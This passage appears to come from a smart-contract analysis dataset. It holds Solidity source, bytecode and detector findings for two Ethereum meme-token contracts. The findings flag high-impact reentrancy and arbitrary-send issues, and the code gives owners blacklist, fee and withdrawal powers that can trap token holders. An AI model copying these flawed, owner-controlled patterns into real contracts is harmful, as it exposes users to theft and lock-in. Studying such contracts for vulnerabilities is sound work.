cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 6; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610294578063b515566a146102b4578063c3c8cd80146102d4578063c9567bf9146102e9578063dd62ed3e146102fe57600080fd5b806370a0823114610237578063715018a6146102575780638da5cb5b1461026c57806395d89b411461010e57600080fd5b80632634e5e8116100d15780632634e5e8146101c4578063313ce567146101e65780635932ead1146102025780636fc3eaec1461022257600080fd5b806306fdde031461010e578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526009815268486573746961496e7560b81b6020820152905161014691906118da565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611761565b610344565b6040519015158152602001610146565b34801561018b57600080fd5b50670de0b6b3a76400005b604051908152602001610146565b3480156101b057600080fd5b5061016f6101bf366004611720565b61035b565b3480156101d057600080fd5b506101e46101df366004611893565b6103c4565b005b3480156101f257600080fd5b5060405160098152602001610146565b34801561020e57600080fd5b506101e461021d366004611859565b61044a565b34801561022e57600080fd5b506101e461049b565b34801561024357600080fd5b506101966102523660046116ad565b6104c8565b34801561026357600080fd5b506101e46104ea565b34801561027857600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102a057600080fd5b5061016f6102af366004611761565b61055e565b3480156102c057600080fd5b506101e46102cf36600461178d565b61056b565b3480156102e057600080fd5b506101e4610601565b3480156102f557600080fd5b506101e4610637565b34801561030a57600080fd5b506101966103193660046116e7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103513384846109f8565b5060015b92915050565b6000610368848484610b1c565b6103ba84336103b585604051806060016040528060288152602001611ac6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f2e565b6109f8565b5060019392505050565b600c546001600160a01b0316336001600160a01b0316146103e457600080fd5b600081116103f157600080fd5b61040f612710610409670de0b6b3a764000084610f68565b90610fee565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461047d5760405162461bcd60e51b81526004016104749061192f565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bb57600080fd5b476104c581611030565b50565b6001600160a01b038116600090815260026020526040812054610355906110b5565b6000546001600160a01b031633146105145760405162461bcd60e51b81526004016104749061192f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610351338484610b1c565b6000546001600160a01b031633146105955760405162461bcd60e51b81526004016104749061192f565b60005b81518110156105fd576001600a60008484815181106105b9576105b9611a76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f581611a45565b915050610598565b5050565b600c546001600160a01b0316336001600160a01b03161461062157600080fd5b600061062c306104c8565b90506104c581611132565b6000546001600160a01b031633146106615760405162461bcd60e51b81526004016104749061192f565b600f54600160a01b900460ff16156106bb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610474565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f73082670de0b6b3a76400006109f8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073057600080fd5b505afa158015610744573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076891906116ca565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b057600080fd5b505afa1580156107c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e891906116ca565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083057600080fd5b505af1158015610844573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086891906116ca565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610898816104c8565b6000806108ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091057600080fd5b505af1158015610924573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094991906118ac565b5050600f805466b1a2bc2ec5000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c057600080fd5b505af11580156109d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190611876565b6001600160a01b038316610a5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610474565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610474565b60008111610c445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610474565b6000546001600160a01b03848116911614801590610c7057506000546001600160a01b03838116911614155b15610ed157600f54600160b81b900460ff1615610d57576001600160a01b0383163014801590610ca957506001600160a01b0382163014155b8015610cc35750600e546001600160a01b03848116911614155b8015610cdd5750600e546001600160a01b03838116911614155b15610d5757600e546001600160a01b0316336001600160a01b03161480610d175750600f546001600160a01b0316336001600160a01b0316145b610d575760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610474565b601054811115610d6657600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610da857506001600160a01b0382166000908152600a602052604090205460ff16155b610db157600080fd5b600f546001600160a01b038481169116148015610ddc5750600e546001600160a01b03838116911614155b8015610e0157506001600160a01b03821660009081526005602052604090205460ff16155b8015610e165750600f54600160b81b900460ff165b15610e64576001600160a01b0382166000908152600b60205260409020544211610e3f57600080fd5b610e4a4260786119d5565b6001600160a01b0383166000908152600b60205260409020555b6000610e6f306104c8565b600f54909150600160a81b900460ff16158015610e9a5750600f546001600160a01b03858116911614155b8015610eaf5750600f54600160b01b900460ff165b15610ecf57610ebd81611132565b478015610ecd57610ecd47611030565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f1357506001600160a01b03831660009081526005602052604090205460ff165b15610f1c575060005b610f28848484846112bb565b50505050565b60008184841115610f525760405162461bcd60e51b815260040161047491906118da565b506000610f5f8486611a2e565b95945050505050565b600082610f7757506000610355565b6000610f838385611a0f565b905082610f9085836119ed565b14610fe75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610474565b9392505050565b6000610fe783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e7565b600c546001600160a01b03166108fc61104a836002610fee565b6040518115909202916000818181858888f19350505050158015611072573d6000803e3d6000fd5b50600d546001600160a01b03166108fc61108d836002610fee565b6040518115909202916000818181858888f193505050501580156105fd573d6000803e3d6000fd5b600060065482111561111c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610474565b6000611126611315565b9050610fe78382610fee565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117a5761117a611a76565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111ce57600080fd5b505afa1580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120691906116ca565b8160018151811061121957611219611a76565b6001600160a01b039283166020918202929092010152600e5461123f91309116846109f8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611278908590600090869030904290600401611964565b600060405180830381600087803b15801561129257600080fd5b505af11580156112a6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b806112c8576112c8611338565b6112d384848461135b565b80610f2857610f2860066008556002600955565b600081836113085760405162461bcd60e51b815260040161047491906118da565b506000610f5f84866119ed565b6000806000611322611452565b90925090506113318282610fee565b9250505090565b6008541580156113485750600954155b1561134f57565b60006008819055600955565b60008060008060008061136d87611492565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061139f90876114ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113ce9086611531565b6001600160a01b0389166000908152600260205260409020556113f081611590565b6113fa84836115da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061146d8282610fee565b82101561148957505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114af8a6008546009546115fe565b92509250925060006114bf611315565b905060008060006114d28e87878761164d565b919e509c509a509598509396509194505050505091939550919395565b6000610fe783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2e565b60008061153e83856119d5565b905083811015610fe75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610474565b600061159a611315565b905060006115a88383610f68565b306000908152600260205260409020549091506115c59082611531565b30600090815260026020526040902055505050565b6006546115e790836114ef565b6006556007546115f79082611531565b6007555050565b600080808061161260646104098989610f68565b9050600061162560646104098a89610f68565b9050600061163d826116378b866114ef565b906114ef565b9992985090965090945050505050565b600080808061165c8886610f68565b9050600061166a8887610f68565b905060006116788888610f68565b9050600061168a8261163786866114ef565b939b939a50919850919650505050505050565b80356116a881611aa2565b919050565b6000602082840312156116bf57600080fd5b8135610fe781611aa2565b6000602082840312156116dc57600080fd5b8151610fe781611aa2565b600080604083850312156116fa57600080fd5b823561170581611aa2565b9150602083013561171581611aa2565b809150509250929050565b60008060006060848603121561173557600080fd5b833561174081611aa2565b9250602084013561175081611aa2565b929592945050506040919091013590565b6000806040838503121561177457600080fd5b823561177f81611aa2565b946020939093013593505050565b600060208083850312156117a057600080fd5b823567ffffffffffffffff808211156117b857600080fd5b818501915085601f8301126117cc57600080fd5b8135818111156117de576117de611a8c565b8060051b604051601f19603f8301168101818110858211171561180357611803611a8c565b604052828152858101935084860182860187018a101561182257600080fd5b600095505b8386101561184c576118388161169d565b855260019590950194938601938601611827565b5098975050505050505050565b60006020828403121561186b57600080fd5b8135610fe781611ab7565b60006020828403121561188857600080fd5b8151610fe781611ab7565b6000602082840312156118a557600080fd5b5035919050565b6000806000606084860312156118c157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611907578581018301518582016040015282016118eb565b81811115611919576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b45784516001600160a01b03168352938301939183019160010161198f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119e8576119e8611a60565b500190565b600082611a0a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2957611a29611a60565b500290565b600082821015611a4057611a40611a60565b500390565b6000600019821415611a5957611a59611a60565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c557600080fd5b80151581146104c557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053d9b82ad1af99c626644804cb4f5c0ec1bda8b3e7ea25886ab76064ebe6bcb464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,056
0xeb3b280EA541074a0174B3478FE12224d14cD361
/* Eat the Yummy DIP $YUMMY -> https://t.me/yummydip */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokens( uint256 amountOut, address[] calldata path, address to, uint deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract YummyDip is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Yummy DIP"; string private constant _symbol = "YUMMY"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 12; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address _deployer; address payable private _teamAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyDeployer() { require(_deployer == _msgSender(), "Only deployer can call"); _; } constructor(address payable addr1) { _teamAddress = addr1; _deployer = msg.sender; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(8).div(10)); } function buyBack(uint256 amount) external onlyDeployer() { require(amount <= address(this).balance,'excessive amount'); require(amount > 0 ,'at least 0'); address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); uniswapV2Router.swapExactETHForTokens{value: amount}( 0, path, deadAddress, block.timestamp); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101225760003560e01c80636b999053116100a057806395d89b411161006457806395d89b411461034d578063a9059cbb1461037b578063c3c8cd801461039b578063d543dbeb146103b0578063dd62ed3e146103d057600080fd5b80636b999053146102c55780636fc3eaec146102e557806370a08231146102fa578063715018a61461031a5780638da5cb5b1461032f57600080fd5b806323b872dd116100e757806323b872dd1461020857806327c8f83514610228578063293230b814610274578063313ce567146102895780635932ead1146102a557600080fd5b8062b8cf2a1461012e578063053f90401461015057806306fdde0314610170578063095ea7b3146101b457806318160ddd146101e457600080fd5b3661012957005b600080fd5b34801561013a57600080fd5b5061014e610149366004611b47565b610416565b005b34801561015c57600080fd5b5061014e61016b366004611c46565b6104c3565b34801561017c57600080fd5b50604080518082019091526009815268059756d6d79204449560bc1b60208201525b6040516101ab9190611d03565b60405180910390f35b3480156101c057600080fd5b506101d46101cf366004611b1c565b610732565b60405190151581526020016101ab565b3480156101f057600080fd5b5066038d7ea4c680005b6040519081526020016101ab565b34801561021457600080fd5b506101d4610223366004611adc565b610749565b34801561023457600080fd5b5061025c7f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101ab565b34801561028057600080fd5b5061014e6107b2565b34801561029557600080fd5b50604051600981526020016101ab565b3480156102b157600080fd5b5061014e6102c0366004611c0e565b610b71565b3480156102d157600080fd5b5061014e6102e0366004611a6c565b610bb9565b3480156102f157600080fd5b5061014e610c04565b34801561030657600080fd5b506101fa610315366004611a6c565b610c31565b34801561032657600080fd5b5061014e610c53565b34801561033b57600080fd5b506000546001600160a01b031661025c565b34801561035957600080fd5b5060408051808201909152600581526459554d4d5960d81b602082015261019e565b34801561038757600080fd5b506101d4610396366004611b1c565b610cc7565b3480156103a757600080fd5b5061014e610cd4565b3480156103bc57600080fd5b5061014e6103cb366004611c46565b610d0a565b3480156103dc57600080fd5b506101fa6103eb366004611aa4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104495760405162461bcd60e51b8152600401